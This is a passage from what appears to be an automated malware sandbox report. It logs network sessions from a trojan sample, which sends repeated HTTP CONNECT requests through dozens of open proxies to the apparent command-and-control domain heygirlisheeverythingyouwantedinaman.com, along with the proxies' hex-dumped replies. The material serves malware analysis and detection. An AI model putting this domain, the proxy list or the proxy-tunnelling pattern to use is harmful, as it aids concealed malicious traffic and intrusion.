20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2019 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.8	52555	186.203.163.53	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.973567963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.8	52637	92.205.110.118	31396	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.994949102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.8	53500	47.91.104.88	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.090214014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.374804974 CET	214	IN	HTTP/1.1 503 Service Unavailable content-length: 107 cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.8	49981	212.252.66.209	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.098856926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.649127007 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.8	53258	92.205.110.118	27425	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.117151022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.194999933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382554054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.398540974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.8	53519	163.172.149.133	16379	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.117247105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.694873095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.187870026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.195054054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.194977999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.192250013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.141165018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.530864954 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.8	53521	167.71.5.83	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.117321014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.322382927 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.8	53505	8.213.128.90	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.122458935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.416841030 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.8	52754	141.94.174.6	2935	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.122464895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.8	50936	222.124.193.114	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.122805119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.614623070 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.8	53364	184.170.248.5	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.124325991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.8	52641	24.249.199.4	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.133744001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.8	53516	20.44.188.17	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.133812904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.413197041 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.8	53510	103.174.236.88	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.140085936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.898130894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.046034098 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.8	53297	177.53.221.89	44196	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.162013054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.8	53022	125.227.225.157	3389	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.166790009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.8	53544	79.110.196.145	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.176733971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.8	52818	107.180.101.18	59368	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.185065031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.195058107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382582903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.398509979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:55.491738081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:07.491595984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:19.514941931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.8	52427	117.160.250.134	8899	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.186584949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.047462940 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.8	53541	200.41.148.2	12000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.195765972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.8	53381	67.201.33.10	25283	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.216392994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.8	53543	58.234.116.197	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.217104912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.8	51096	42.112.209.68	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.217662096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.8	53553	104.244.75.78	31534	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.219403028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.8	53307	27.76.194.13	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.242769957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.8	52746	122.3.255.114	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.242799044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.8	53567	172.67.181.197	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.249859095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.336958885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.8	53545	81.70.253.152	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.323424101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.8	53309	103.231.78.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.361857891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.8	53547	171.248.219.108	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.362426043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.8	53560	45.11.95.165	6049	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.362436056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.8	51166	97.74.233.206	30201	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.365227938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.382544041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.8	53311	137.184.182.145	15685	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.366321087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.8	53578	45.14.174.148	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.366322041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.453881025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.8	53327	162.0.220.222	64731	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:31.366705894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
